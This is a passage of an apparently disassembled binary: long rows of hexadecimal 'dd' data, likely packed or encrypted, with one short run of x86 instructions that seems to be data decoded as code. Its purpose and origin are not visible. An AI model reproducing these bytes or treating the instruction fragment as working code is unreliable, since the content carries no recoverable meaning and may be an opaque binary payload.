0E8F6F3ADh, 0B041932Dh, 71C381C1h dd 0B79C7A13h, 94D4887Ch, 8FFFC1AAh, 972A2850h, 4566D9C0h dd 117000B2h, 998D13E0h, 16729B10h, 6427A094h, 124D00A4h dd 0D3959886h, 3501DDDEh, 0A28D7261h, 1A3E1B6Fh, 8BD5E31Bh dd 0C0E1CD8Ch, 0FC7A7B8Fh, 0A107E709h, 2022F36Ah, 0D8641D83h dd 2118B1E8h, 56652E1Bh, 0C9A043B6h, 260B2B8Ch, 8B231BADh dd 0FE5231E3h, 8F23623Dh, 6ACA8204h, 0C0979BAFh, 31D557C2h dd 0E74B0CA0h, 0D1CE24ECh, 5A091F40h, 6A55F48Dh, 0E7854D97h dd 3CD6F0FCh, 3A97C0E9h, 8081B567h, 204CE9E0h, 0F8025D8Ah dd 8B9D7C59h, 9C3AD7D9h, 16D4E25Ch, 0A231F0B0h, 0A5280008h dd 6DD8C67Ah, 0D1FF0074h, 3424CF81h, 149772F1h, 0A56EB66Fh dd 1E020B37h, 0DD12D7EBh, 8BF95F08h, 2E58026Ah, 8A60900Bh dd 102B7CEAh, 93A35FD3h, 9F09BE5Ah, 70C4FB90h, 45010697h dd 79F64E12h, 876A0D67h, 0D8DB99A8h, 0B48710A7h, 4441053Bh dd 0F93A76CFh, 959D8264h, 0E95F0104h, 3F8E6BA6h, 0ADD86E1Eh dd 59E01E4Dh, 7F5D5C76h, 0F4FE186Ah, 30D5788Eh, 0F425BEh dd 5DBA25A2h, 794C30E8h, 6AE0B74Fh, 0B3FFD2A1h, 0D8D240A9h dd 0D05B572Fh, 18D86C2h, 5CE6B5CEh, 6E4569ADh, 192E35CDh dd 0AAF93A50h, 37BBEA10h, 0F73C70h, 0E205EEE1h, 0BF50911Eh dd 0A84B4500h, 87D7810Ch, 56A3A2E3h, 8B4F2FA6h, 7FF00EC7h dd 0A025392Fh, 9521C9B3h, 0CD2F9667h, 9A154340h, 0C1798989h dd 2B7C2185h, 0C2AAC034h, 6A052349h, 0F4FE4E94h, 75FFB568h dd 0B8622D73h, 4487DF7h, 169720C7h, 889DB970h, 6487A70Dh dd 70E601B0h, 86002050h, 7149EF0Ch, 4151925Bh, 0A2CCCB18h dd 52810F90h, 0B173C09Ah, 25FDAC27h, 0A4C98778h, 5E27A5DEh dd 2B1D4201h, 7CA2B255h, 10094086h, 0C60771EBh, 539A84C5h dd 0FCE013Bh, 25420C89h, 64C7F68Fh, 90B052DDh, 860F2D53h dd 53EC414h, 962E1F90h, 9A0A44C2h, 25A05C5Fh, 78190DF0h dd 1B4E019Fh, 2AC82B01h, 28DEFCF0h, 13507BE9h, 0E4219DB5h dd 4C7144B1h, 9B044AD2h, 7BB84B51h, 0C171A4Bh, 0A8561685h dd 0C95B25CFh, 60511B6Ch, 0E9011D21h, 0BB179248h, 17A2C605h dd 7B06E2AFh, 694A3A1Eh, 0BF62C6A5h, 5D8F0F10h, 0FABE6B12h dd 1F2266E2h, 0D1C7A0C7h, 13667399h, 25620829h, 68208A26h dd 695650A2h, 858CFC2h, 27852BBFh, 0A4C0E4EDh, 5A089A73h dd 0B241E6E1h, 407B3019h, 545CDF09h, 0FB4F98A6h, 0B7B600EDh dd 0F5F2F4C2h, 0BEA3B95Bh, 5BA6EB85h, 6660CBE2h, 0B5C9D9Eh dd 649570BEh, 0CCC3BD61h, 29B81377h, 5316612Dh, 181B71F7h dd 0F62A013Ch, 33DA9F3Dh, 4D896B9Bh, 576E7Ah, 5E01BC15h dd 25ACAA6Dh, 715BB0B6h, 0F5181AF9h, 39939602h, 7765B101h dd 9B0EB737h, 68E001AEh, 1B800EE9h, 0DDEA9F4Dh, 2A009569h dd 0E5B396D5h, 9788D87Bh, 0F0BFB910h, 69FF3613h, 82ADA9D4h dd 0B4BF28E9h, 2601F404h, 6A1C4412h, 666BAB51h, 0D7001B23h dd 0C8AE73F8h, 0B21802FFh, 1065B589h, 0A56B1DD7h, 8A40A86Dh dd 1DCC8CBCh, 40488EA7h, 0D98BEB98h, 0D89C5B52h, 2AF600DCh dd 0D636DBC8h, 1135606h, 14C4F1BDh, 79A207B8h, 803E3D77h dd 2B3C782Ch, 660935B6h, 84C4D0BFh, 8E5D1EFEh, 0AF12188Ch dd 0F9179E60h, 43F80047h, 98C174B8h, 0FA003006h, 38CA8C92h dd 91E8DDA3h, 955BADDBh, 4047EDADh, 0E1FF49A2h, 9768469Fh dd 235A1614h, 4DB06FE7h, 69259529h, 3907E728h, 474D5F69h dd 0B2D349C0h, 4A5EB7DEh, 0EE14E697h, 0EDB1C0CFh, 675004h dd 0A25AB5EAh, 48D28146h, 3FCA404Bh, 4DA59221h, 7C1D40EAh dd 0A8A0C5E1h, 608113B5h, 89084C60h, 0D5087A56h, 9CF2621h dd 0C37BD98Ch, 2F0F8670h dd 0EFC02852h, 5C8A1AEDh, 30372D28h, 60C26104h, 0BF1794ABh dd 22ABBC24h, 0D3DF2419h, 0A78D0DBh, 0C20F7601h, 4916695Ch dd 0C7FB207Fh, 1303607Ah, 94C0E80Dh, 35F6E95Dh, 12D5FC60h dd 0B7B9D2D8h, 176A5E96h, 65344502h, 0FA7CFDE5h, 0B5B91316h dd 909CB3C3h, 3D7B99Ah, 0C409EDABh, 59E6EFBh, 0E642772Eh dd 466C37B9h, 164E3578h, 33FF98h, 548EFBE5h, 0D65E8858h dd 4AF39E00h, 4BAB297h, 40682E37h, 0B7A20450h, 3D6FBC60h dd 0A77A26BFh, 1FD18D04h, 0DEB24EACh, 0BD492C5Eh, 0D060339h dd 0AFB8B6BDh, 322758CEh, 6FEA5677h, 0C1EA3B80h, 0D3272C36h dd 4B665E5Fh, 83EC790h, 0A8E82500h, 1C6C513Dh, 2521B0CBh dd 0C1FC5785h, 0D01C00F6h, 96DBE8FEh, 8997A029h, 0F6DBFE61h dd 0F835DA00h, 0B08134C1h, 25FB79D1h, 68E4FE8Bh, 0E024ED97h dd 0CF684BD3h, 5BCD4A4Bh, 11803328h, 0D8A8DDE3h, 0E8A9AF01h dd 689B9DCh, 0C2882360h, 3D585B8h, 933F16DDh, 200759CEh dd 2BE9051Ch, 0A86B0289h, 41B385DBh, 9FF97FA0h, 8D250EC4h dd 28F2CE2Ah, 319CD781h, 112461E3h, 5A68001Bh, 0BA173DBEh dd 95A92FFh, 460745A5h, 1DC2456h, 0A226D616h, 2E1E58DAh dd 7B83F735h, 90CCF8E3h, 36A402BFh, 515046A9h, 0E2650A5Dh dd 0F32900F4h, 0F18769DFh, 0B0934214h, 0E261DF26h, 0F96B43B9h dd 0AF409DDFh, 0ABE0F926h, 61E700F8h, 1E8EEB81h, 0CFB55662h dd 62146434h, 512F5C1Ch, 35DE3E2Ch, 26E947C3h, 709134Ch dd 595FE281h, 5A4252E7h, 77125E61h, 4251ED4Bh, 79D7A086h dd 3BD700F0h, 6B7FA85Ah, 9D1D1000h, 0AE391619h, 0C2CB4E76h dd 5B0514D6h, 3CB8B3F9h, 94977171h, 475251Fh, 0B740EA6Fh dd 2AFA577h, 0C6E863BCh, 15455ADEh, 0BB654398h, 5721172Bh dd 0AAE4C572h, 1024C7Bh, 7EE82B4Eh, 15F31E40h, 0DD946350h dd 0A7415C8Ah, 8B091EBDh, 2F9871B8h, 16E0CF4Dh, 0BDB8093h dd 399D332Dh, 35D7CDA9h, 801891C5h, 638D0D56h, 0EB80A00Bh dd 0A8D64B68h, 42B809B3h, 0B31754C5h, 1C4BD71Eh, 206ED899h dd 46C3814Eh, 21096412h, 29053AF3h, 0AE2A89BDh, 1423246Fh dd 15B9D416h, 0A0BFF6D3h, 128CA4B3h, 0F117BDB4h, 0C0763D48h dd 0D7C8F6CFh, 0CB1B0949h, 0A1982861h, 9800E336h, 64DB6648h dd 6E25Dh, 0CD0E30BAh, 4945B7FFh, 0B5BDB94Eh, 1C75BD82h dd 5518E209h, 4DBDA9CEh, 0F89C45DCh, 0F4DC252Ah, 31D5091Ah dd 60164C79h, 822FF28Dh, 8B0F1EE9h, 0B9784880h, 67A009EDh dd 317B6151h, 2BCD385Ah, 1851209h, 592AF722h, 32B74AEFh dd 5A14F0A7h, 1C132D6Bh, 11B28A0Fh, 4B73DF2Dh, 0E382B0A0h dd 0E4CECD75h, 78206718h, 4A57A08Dh, 254CE28Bh, 6EB90E96h dd 83B1D25Eh, 0B84E8178h, 0FA0EAAD4h, 0CB20CF13h, 60AE1265h dd 7D29449Fh, 671600E4h, 0F8F7DDC0h, 4F02C513h, 0F9F24CB3h dd 0F3B482D4h, 99987F5Bh, 615A5E51h, 1AB284E6h, 0B0236A30h dd 6EDA1BA6h, 1CBAF43Ah, 4771595Eh, 0C01CC80Fh, 980A1249h dd 0DABD0906h, 0BD6E11C9h, 0AEBD1276h, 568ADB69h, 0DA0BC05Bh dd 7D6C7D50h, 0CE05E12Ah, 731B5D25h, 18187931h, 32CC0929h dd 3642A923h, 64FDCD75h, 0FC3C601Dh, 2DD01CC1h, 0DD8F05A3h dd 9D9DBCBCh, 8A0CC400h, 1D9F2E81h, 80F10A85h, 0B33CF64Bh dd 6AA45F59h, 29258976h, 0AF64E520h, 6340A14Dh, 258D8967h dd 9A713129h, 9BCA49C4h, 0CB2B9F00h, 0ECA5251h, 73B74725h dd 0C19D04A2h, 57B67525h, 5FF8B3A0h, 3DD8F600h, 5A75CB81h dd 51442FE0h, 6B5B2161h, 0DA4F648Fh, 0C63180EFh, 2D41BB85h dd 5880F9C4h, 4467EAE6h, 70C8E92Dh, 0DC119471h, 0F1273C0Eh dd 0ACB604B4h, 1F256C81h, 39728D6Bh, 0ABA85Ch, 667826FCh dd 0EEC0C2CBh, 7A04EB00h, 0E95E34E8h, 6D89A8A2h, 6C7307EAh dd 208502B6h, 0B7D65118h, 6EE96B07h, 87C7B36Fh, 0F1A81700h dd 0C2C5007Ch, 741B9458h, 0AF7228AEh, 8045F23Dh, 186524C3h dd 17EDCD1Ah, 0EC9A54h, 7349C0E7h, 0B200F352h, 4F04E5B0h dd 0EB0ECB0Ch, 0FAD06D80h, 28D8F462h, 0EAA74000h, 0EDB02BA0h dd 870600B5h, 7553E35h, 0F70076E5h, 0E34D0A10h, 83F473h dd 69E03A29h, 2EB725EEh, 1D764F3Eh, 704005C1h, 17A52296h dd 0EB7EDCh, 0D9F374E4h, 0D031714Bh, 3C91B00h, 0EA305788h dd 0E4EB016Ch, 50ADB83Eh, 524580D2h, 6499B5E1h, 674500CFh dd 0ED7F4DBEh, 1500C769h, 0BCE6A99Ah, 963BF38h, 0EC6775F4h dd 0BD10C80h, 68F25D07h, 4BDEA401h, 0EF2BE44Ah, 3380ACB9h dd 2DAE2C84h, 0B60115F8h, 356AED6Ch, 9140FF37h, 188942B5h dd 131B1CC3h, 8B7BF7D5h, 14E20102h, 0A3AF6A2Eh, 0E9F45BF9h dd 2882F2A9h, 4E0FC80Bh, 6150BD80h, 5100E397h, 3598A2Ch dd 0C3D35CDCh, 0CC3496DAh, 15B63EA8h, 0E0472E03h, 4C69D9Fh dd 73DC1F1Eh, 65F7F444h, 0D8BC0D00h, 278CC122h, 377E009Ch dd 587DFBDBh, 775BDEFFh, 3A994E0h, 635CAC71h, 4C75D801h dd 0D166B000h, 17450E8Bh, 4B640A4Eh, 14F3A11Fh, 0E5008B18h dd 69B51EB8h, 8F3C4FE1h, 568B0310h, 912EABF7h, 74C83B11h dd 1DE00153h, 6F6D261Bh, 0C8C0D7DDh, 3008432h, 0A22593A9h dd 132F7B16h, 0A0D72BE3h, 7300F4BCh, 4BC476ACh, 7E98FF8Eh dd 78500782h, 203ABFCBh, 315D362Dh, 5C03BA00h, 0BC199646h dd 4877E429h, 0EB0019C6h, 0C5D0E86Fh, 5C00BDE5h, 187F1E99h dd 0FC5202h, 78EBC17Ah, 8B404A07h, 37A2C0C6h, 0FD4D02E0h dd 0CEF77CB5h, 4F60DD82h, 2F4EB725h, 43D1406Eh, 90D83979h dd 2FFB002Eh, 366C33AEh, 0B0050887h, 0E64E2C11h, 6D40F41Fh dd 547D5F38h, 0AA8824F5h, 0C90A80AEh, 0D750020Ch, 52288501h dd 0CF8CE72Eh, 6CFD7C88h, 0D21890h, 0A00ADE03h, 0CC0E8160h dd 80A53255h, 14C264D6h, 185E7F93h, 67F87A4Bh, 4E2F8374h dd 27FC85h, 54774302h, 22E07D3Bh, 82FC4750h, 2B0E5174h dd 0C0C88D1Ah, 0D156021Ch, 3A3F1904h, 0FCDA48E8h, 3D03CF9Dh dd 0D05293B8h, 2C1800E7h, 5A22B6EBh, 6103B0F0h, 26A1491Fh dd 3C6C980Fh, 0AB6209AEh, 5E0750D8h, 54D71C01h, 106DCC0Ah dd 92809312h, 2FAAF4A1h, 11D9AA8h, 442EFECAh, 703CBD5Ch dd 28F87B2Dh, 538431C0h, 194E786h, 17F659DBh, 0C0CD4C0Bh dd 1100D623h, 0FD3E54E9h, 9E5DEFh, 0F562B81Fh, 20ED6672h dd 0D6859D01h, 5EC20557h, 3EBA2F81h, 8058DA2Bh, 2E63D411h dd 2ACC809Ah, 3ED3753h, 0CA020EECh, 0DB014F6h, 0C801CF4Eh dd 2A8881E9h, 0DCEC6BEEh, 12B3F67h, 75917A00h, 0BA555EC6h dd 45AB8B00h, 2A70D708h, 682F06A8h, 70BF1517h, 0EBA49700h dd 3C01E0E1h, 0BE17C03Eh, 0C176907Dh, 67724601h, 79FE1F03h dd 26BDFC8h, 33F9A218h, 0ADA06E41h, 0ED6FD894h, 0CCD52A0Ch dd 0A84403h, 0DE138C4Eh, 59FB708Ah, 74970207h, 0FF3044C7h dd 49A71893h, 0B93D9453h, 3AE2E698h, 38009546h, 0CA9E19DEh dd 9AD99F8Bh, 0B9130020h, 16C5C18Ah, 51073097h, 0B3098049h dd 0CE14333h, 0C5A79841h, 0F406270Dh, 0C4C09CAh, 50EA00C3h dd 8557659Eh, 0CC7DF67Ah, 1CAB0800h, 0F7824AB6h, 356F0393h dd 0D8F06BEDh, 0DC5B1F98h, 0FA578C00h, 0FDA0DB90h, 5504001Eh dd 144D86D2h, 6EC08216h, 0D5E8A596h, 0A11E7265h, 0A9224F92h dd 703E8E24h, 0CF0C4505h, 19853708h, 38D6003Ch, 4142AAC2h dd 69EAD481h, 0F97CA602h dd 43C7957Eh, 0E200BCA2h, 45E7F572h, 3540A7A0h, 0CC2D5502h dd 605A8F08h, 3280FD56h, 22E7BA2h, 56E2AF43h, 8328E185h dd 4B046AC8h, 30AB20CAh, 0C0D27EC2h, 19BCCA8h, 6152CD8Fh dd 8178FF7Eh, 10C2D8C9h, 0D830C597h, 1FDA614h, 54E8F6F8h dd 0EC391174h, 9E1EF165h, 8ACAD9EFh, 0EA009194h, 46E4F429h dd 77160791h, 0B1AD2CABh, 80383A0Bh, 9C43B425h, 0C093C1A3h dd 27F02310h, 0AB69B2B5h, 0E6A0A023h, 0B0D7F671h, 5B5989Dh dd 0D27AA899h, 0F121C25Ah, 5F6D8B40h, 0C4DE8F00h, 83C29611h dd 2EC03BA2h, 1CFBB5D0h, 4081CD86h, 319416CFh, 0FAEA7BCCh dd 18DB5404h, 74C2E075h, 63EE6067h, 0AC304B6h, 0C066C588h dd 10513A0Fh, 396A1F5Dh, 96043087h, 0C0191B64h, 67589B17h dd 3D72BA60h, 0ECFDB00h, 0AD92C693h, 0C9D1004Eh, 8C0BCAB0h dd 0AE032E3Ch, 0BC0E9B31h, 106A9174h, 2A7AF1C4h, 9ADCC3h dd 0BD36B842h, 8DF55F2Fh, 45EF6C1Ah, 786F601Ah, 9A95E4F3h dd 0D48416AAh, 0B8FB906Dh, 7B00A706h, 2F2466FAh, 23DE2A6h dd 0A430C41h, 5FE8C477h, 0DD00EF6Eh, 0BA0E894Fh, 16B32CA0h dd 520319h, 7BF6671Ah, 0D092DB61h, 3EB93000h, 5FD890AAh db 0Dh, 2, 0B3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 833BB55Ah in eax, dx push es xor ebp, [esp] xor [esi], eax retn 5C0Dh ; --------------------------------------------------------------------------- dw 8268h dd 8F9D0470h, 6B21065Eh, 3C7811h, 0BC6D94B8h, 0BD55407Eh dd 548A8F00h, 5DE8317Bh, 71C63368h, 838B242Fh, 5F384472h dd 0BCB8A850h, 151DD12h, 8F588380h, 81081C47h, 6E0FE86Fh dd 89876A8Bh, 10C1D5E1h, 8786065Bh, 8B7FB00Ch, 831016A5h dd 0E91340h, 0FFFB910Ah, 0EC35B8EFh, 305E80Fh, 80E02EC5h dd 0DF012776h, 8974BDh, 9988FF9h, 4573BB3Fh, 88CB5D03h dd 0A82B1B70h, 1F15BF19h, 0DD1296h, 5CEC3B64h, 7A007806h dd 27254E07h, 75D040h, 83EE1AFh, 556EC82Eh, 5CAEBAB5h dd 8D00D497h, 7FF8D30Fh, 2575623Bh, 0DAF0F98Bh, 0FAACE397h dd 0B1C57531h, 0F9A58A9Fh, 87A53F9Bh, 0BF51AD48h, 88970502h dd 0D7905B6Ch, 68808FB7h, 66BEDD31h, 0DDB0681h, 6A6057AEh dd 0BD8910E1h, 1780B601h, 0F7648461h, 6FCAE030h, 5BC573F3h dd 5B08A2C4h, 730083ECh, 6625E66Ch, 414A7ADEh, 5B288AA3h dd 0EF1F27C5h, 0D8868DCh, 7773692Ah, 0B49ACC70h, 0B9511399h dd 0A6BA80A8h, 775B4FACh, 0B37B1F50h, 82B0E4C1h, 6A23E380h dd 0DE2656h, 64C8FDBCh, 230FE68h, 8477B234h, 0EFDEC5BBh dd 9B6B91E1h, 2343C081h, 46DA388h, 964442DDh, 118DEB4Ch dd 0B2B3A62Eh, 0C9E03019h, 0E6B91F02h, 0D6D88BE8h, 0E96A6CF4h dd 9ED11944h, 962DDC89h, 1CE7651Fh, 0B3DE255Ch, 1CE4F4h dd 5AF4EAC4h, 0DB8086CBh, 26A8316h, 0C980A0ECh, 7893E758h dd 73B84D7Ah, 5598F98Ah, 69002F6Fh, 6CABE4F7h, 487EA0DEh dd 0C517946Ah, 0A14FA808h, 0F87E9D0Bh, 2DE93F22h, 88BB650Ch dd 2312EF29h, 0E413B804h, 0C0D9DBBEh, 0AC58F826h, 0F21F003Ch dd 0B58988DAh, 0BAB5280Dh, 0E5B75596h, 51A93602h, 2ACBD8F8h dd 809178BCh, 8226E981h, 0B7C56FD4h, 31C14AADh, 3E10B9BDh dd 29275FE7h, 95613BFEh, 24F3227Dh, 0DEB5FFAAh, 0CA43300h dd 0DFF6ACEAh, 0F19A02F2h, 31EDB5FFh, 419C6F7Fh, 608EC480h dd 0AD25B5EEh, 4B43F630h, 0EF185653h, 1903F537h, 1824419Dh dd 975C2B0h, 6033FCA8h, 25CC80F8h, 70E66113h, 0D6D7004h dd 7D0B0412h, 71021E23h, 0D66AEB80h, 55BD9159h, 3CD6FBCh dd 0B2F95696h, 0FD8A165Ch, 5ABF4FB0h, 0BB40C0FFh, 0AC2D9F41h dd 27F0F908h, 1B4E8D50h, 9340B4A1h, 0D189E967h, 0FE8E5C47h dd 4C508540h, 89094755h, 0D408CD9Dh, 0CE943A9h, 0FD252F02h dd 5F6C98F7h, 286286B3h, 0D6FAB758h, 6B119539h, 0E9402D38h dd 0D24B4758h, 0FFCC1FF8h, 852A0F03h, 0D4BD1D06h, 0B2F99627h dd 0C4242233h, 0BA1DA9ACh, 6031868Ah, 22E6D62h, 0A464261h dd 580B7B71h, 8385B7Ch, 2239689Fh, 23370009h, 6B17901Ch dd 9E4AC6A8h, 606B88h, 0A5E7BA67h, 0EB821D5Fh, 89967B00h dd 71C3C0CDh, 0CBB23F8Eh, 0F2566A27h, 809050DEh, 0B8224F61h dd 8F5B127h, 0A850742Ah, 0E05D0249h, 0FF0E3FB9h, 0B609E5BDh dd 0B1E50260h, 0C4B80032h, 709F5597h, 0FCE125E9h, 75C0C0CDh dd 44E8B967h, 0B2007311h, 0A77263BEh, 72F17C4h, 0DC3476E1h dd 4969A7C5h, 0D3608ADDh, 0E495AE2Fh, 0CCFAFC5Fh, 4DFE8B29h dd 5927E5BCh, 0C09920Eh, 2B3728D9h, 5AF1D249h, 0FD43408Fh dd 8186E94Fh, 0BA60209Bh, 2ECC1460h, 20A4FC62h, 24512FC3h dd 20408B4Fh, 637696Fh, 92C664AEh, 0EC88B089h, 0A50429BBh dd 880D669Ch, 0ADC7BBBh, 0BA1ED908h, 8F62A267h, 0C4187D35h dd 0C70445FDh, 7F118962h, 2AE53C81h, 0CD565B02h, 51B42B6Bh dd 965AA43Fh, 0F01CB231h, 360ABFh, 0D7812509h, 3FB23161h dd 0AE5AC992h, 1848D98Ah, 0B900F997h, 6434207Bh, 0EA9DB531h dd 72B77E15h, 0FF402F7Eh, 1BF7CB3h, 6DDF1734h, 0E429FA61h dd 0E1FCE44Dh, 21A714B5h, 1BF103F8h, 1E007F18h, 2F3220E4h dd 168BA012h, 0A271B3FAh, 3DF84ACh, 687AEBh, 347BB15Fh dd 16E73F03h, 0A2A45910h, 0A6778897h, 7A50861h, 3F6F6012h dd 23E0C10Bh, 4DB58850h, 9788C0ECh, 0C3B859E0h, 5112F527h dd 3ABF01AEh, 6A7157FCh, 3BD7634Dh, 253E66Bh, 6C6369E3h dd 7BB9DF6Dh, 7760120Ah, 0E09F0AC6h, 0BBF50FBh, 484DE72Bh dd 6FB90ABh, 5F0CBA70h, 2DD0E2A0h, 0D11748B5h, 0D9688029h dd 756CB604h, 3BED88Ah, 73B5267Eh, 0B8A0ADCDh, 0FE950045h dd 0D922DCDBh, 5412A250h, 61BBDF8Bh, 75618D94h, 3A85D94Ah dd 0F9E0AAF7h, 0F327E929h, 0C3BF5C01h, 28F01E7Ah, 5300E142h dd 744705D5h, 0B15AE16h, 13B621F8h, 47AC1651h, 75F5C227h dd 226219CFh, 0F851DCh, 0FED267C8h, 5197617Ah, 0C2561488h dd 0F8214E78h, 4F1D30Fh, 0F20FE62Eh, 559BC2F1h, 0BF669420h dd 53B760DAh, 0E5373BC7h, 0EF066521h, 2675D4A2h, 98693CBh dd 0EFD62551h, 1A46D6h, 0BEAC92DAh, 0B88A8435h, 20512D81h dd 37C0EB56h, 1165285h, 8B310E8Ch, 6AFD70AEh, 95161A1Eh dd 0B04EAAE9h, 601650BBh, 26E0A2B6h, 0ED06DEC3h, 71279271h dd 0BD03821Dh, 16751109h, 0D48A941Ch, 815D9E3Fh, 471BC5D7h dd 93A893Ah, 9EF5085Dh, 0B8660999h, 0E5064562h, 0DF5BAA53h dd 0FC9300B8h, 0F88AC470h, 66003016h, 9901597Fh, 0AEEC11C4h dd 0E43D5B93h, 38038B26h, 0C0D25FB8h, 0ED6EB31Fh, 0CF575B42h dd 0E40C60D5h, 0D326806Eh, 4A2D7814h, 0B023D50Ah, 0AA725E56h dd 52B68C4Ah, 0DB585149h, 108D9508h, 1ABE0427h, 0B5F56109h dd 611592A6h, 61ECE26Fh, 9AB73A3h, 5F0F598Dh, 359FAFB6h dd 9E4E0132h, 3F83733Bh, 0D7296A28h, 1CF5F82Bh, 5E383CE9h dd 3756EEAh, 761405D0h, 7CA8ED21h, 8AB785EBh, 1341EC04h dd 0FF4C39EAh, 0FB7E3CA4h, 8028DE2Ah, 9750D47Ch, 0EB412578h dd 370040F1h, 45F6E2ADh, 1B57202h, 0A58A98C5h, 0F4E5C804h dd 854E5C3Eh, 13FE4904h, 0EB8E34BBh, 94C046DBh, 95E6DCBFh dd 442D9798h, 273C461Ah, 0F5D4FC8Ah, 1D46D6h, 11C8274h dd 134230BEh, 4BBFDF99h, 0C4F7F97Ch, 8D615A4Ah, 5E1C3E2Bh dd 8B504D20h, 80DCDB4Bh, 85C14BCAh, 0B8784AFCh, 31651671h dd 8BD828BEh, 0EF6FB5Bh, 57FF929h, 0BF39BD89h, 75840749h dd 4B6A4CB2h, 35EB127Eh, 225E80F4h, 0F96BB753h, 8B121AB5h dd 60ABA049h, 0CE8D9D33h, 81A901C7h, 0B1611EA4h, 159E7F33h dd 0DBB3ECC0h, 9B52373h, 89723714h, 2A02D666h, 0ED4075Dh dd 5BB727h, 0E4B8D3CFh, 0FE093A0Ah, 5F5D1912h, 0B88F29BBh dd 7B46D752h, 3155E2B5h, 0B12A31F6h, 0D7703E2Dh, 4BC5BD29h dd 0BB6CB40Ch, 3FC9AD24h, 111D24A6h, 0BEACE27h, 19A5BD33h dd 0ED5ABE7Ch, 5A7A4200h, 4C516D7Eh, 1E030815h, 0DBA3F7ADh dd 0B6747E55h, 0F64CD700h, 4128CEBFh, 0B94D04BBh, 0C09122A4h dd 7931B41Bh, 965B1218h, 4EFA48DCh, 69692050h, 0DC00B056h dd 0D8085B61h, 237A58Fh, 7ADD951Ah, 0C5E07DCEh, 42C0BB87h dd 0ED59E781h, 0E2394E5Fh, 0A26FA927h, 67A302BBh, 70AB2107h dd 0E6145BE4h, 47A8D7DAh, 0E0EAF880h, 77001DB2h, 1463486Bh dd 9FAA1FA4h, 0ED574BBAh, 0C0741A1h, 3847F9Fh, 60A249F8h dd 0E488CB2Eh, 5909099Bh, 46FA7A50h, 0D5600AAFh, 278501A5h dd 16A22655h, 44091A4Dh, 0A4C80011h, 0CA888443h, 92E4072Ch dd 4853E5Dh, 0A353C7DCh, 0B65B80FCh, 245864E9h, 4BC48FAFh dd 89169CA3h, 0E9E4F4B5h, 10F1B75Bh, 716E3Eh, 36F01F0Ah dd 5B48ED0Dh, 7D7A225h, 0C6EAAE65h, 0DCE0F4B0h, 97531h dd 0FD880D33h, 70AFA9BCh dd 0DDA170FDh, 0D75FAFCBh, 0F81F3664h, 0E70033BDh, 149489BFh dd 98190B27h, 7880A7AEh, 0C18B5BF8h, 7CDCEAB4h, 97EB1CFDh dd 0A95F930Bh, 8C18AC38h, 97B1400h, 0CB79DEEh, 0FA8B2750h dd 614BDDFCh, 416D6A51h, 0C7C43EBDh, 17DE6EEBh, 92053926h dd 99F408B9h, 0E8FD2589h, 385064A9h, 0C490F924h, 81E39560h dd 0B9530B45h, 13813572h, 6F740A46h, 59BAF000h, 2507B1D9h dd 577C9061h, 5E5D17DCh, 0E19DA011h, 4D6A6825h, 9E14E985h dd 214AF398h, 9BEA09D4h, 8B54C2F5h, 0D62F56F8h, 32001C46h dd 0CFC135BDh, 9D262AADh, 0FBA54230h, 8D4DA527h, 5F754040h dd 3E7A02ADh, 3DEE69A4h, 580234D6h, 7FD1FFCAh, 8E02E3B7h dd 0D6D4DFC8h, 0B0FD40CFh, 0A8043BBDh, 6D31D76h, 0FAA467ACh dd 909B50D4h, 6A13FAC0h, 8A0B5102h, 0D50B5FDDh, 8B1D3AC4h dd 372750D9h, 177B0398h, 60A00DACh, 1E4C4E0Ah, 13991799h dd 25F81E28h, 6A6793E9h, 0A6FD203Eh, 20EA0093h, 27882F8h dd 29041C2Ah, 1F23A8BEh, 0E264BFh, 505B18C9h, 59BD890Fh dd 0DFAB405Ch, 0FD02A791h, 0CF8BA071h, 531F6A57h, 0C4267009h dd 75B46416h, 7893304h, 0A6A463ACh, 7711E77Ch, 67CC39C1h dd 0E2B4902Bh, 69F3950Dh, 1E1817D1h, 0FBDD1C02h, 0EA1D9589h dd 6C6D57EDh, 71671764h, 7C2574ECh, 56F92778h, 74040EEh dd 40B2660h, 80EA5113h, 5F2D538Dh, 0DBFF5B6Ah, 7AAC80F4h dd 0A067E5E7h, 820C95BEh, 80851F79h, 80C7C1C3h, 4EF41684h dd 0CA6FFFDDh, 90F525ACh, 81039150h, 85BFC0B0h, 23F16907h dd 71B570E6h, 0DB99A04h, 0D681CCEFh, 75513FCBh, 0CD4802ACh dd 0E2BF2440h, 79E62DDDh, 0E10894FBh, 55044903h, 9AEACFAh dd 5F399529h, 2E109F1Bh, 2B0F0FF1h, 0D12DF5C8h, 6184E2CEh dd 29B62794h, 38A7B03Fh, 44254E49h, 7EBFAB60h, 63512818h dd 0B7135528h, 0DF4A4DE6h, 2114A4D2h, 885E5060h, 30310992h dd 0E9FBB7F2h, 0DE395B51h, 186BA756h, 50BD4Fh, 47DCEE86h dd 102BD665h, 4EF65D00h, 0D725D152h, 70770F9Ch, 6BE22CBBh dd 0B8565F5Eh, 95202B44h, 97850769h, 9DFAA851h, 0CA276FC0h dd 0D05BC541h, 291E7D34h, 0EA10D6BDh, 40DEA928h, 3109BB76h dd 0DE35D041h, 0E000F4BFh, 757016EEh, 4A25CB0Fh, 19FCD89h dd 22991B7h, 5455E2B9h, 3BF7869Eh, 0FC17F63Dh, 87EEB501h dd 0DF5679A2h, 8BA20DDCh, 3FF656DEh, 0A25F2FD3h, 33B757C0h dd 48E1843Fh, 25BF8D09h, 7ADAAFCAh, 2799B509h, 0EB8BDDDh dd 0BF420B3Fh, 0EC758791h, 42DE1C51h, 2106D74h, 14001E2Fh dd 5EE902B1h, 1E55FA45h, 8167FD15h, 75D18293h, 5F0274B6h dd 0D5699295h, 7A37AE90h, 0FCE97014h, 49E09BEh, 823E5BCBh dd 5FABC781h, 99E24056h, 0F091D14h, 85987187h, 0DB7CABEFh dd 0BECDC046h, 0B0C0E4h, 0B2A24E86h, 0EB8156D7h, 0BF4FE904h dd 69AC5B54h, 0BB849AA3h, 0F007B57Ah, 705BA9h, 89F7B12h dd 0CE00817Bh, 6629AD23h, 2788FCBBh, 298BFA8Bh, 0DF4077Ch dd 557A8A57h, 2B32F954h, 0BD0B94F6h, 7B7E1D49h, 707F53E9h dd 1D7C61C6h, 5EDC9701h, 998D01C2h, 0BB04A27Dh, 84FF6BEDh dd 0A2BCA8CBh, 286429A6h, 2E43061Eh, 80725200h, 370D1D7h dd 39A6A1E6h, 3EF2FE1Eh, 9D51AC56h, 2D938215h, 0D8F6755h dd 3F275486h, 9F00236Eh, 256E1F88h, 0F748EBFEh, 2BA110D2h dd 8EEA6031h, 96092BBAh, 0B47258F9h, 70492538h, 0BD3110CCh dd 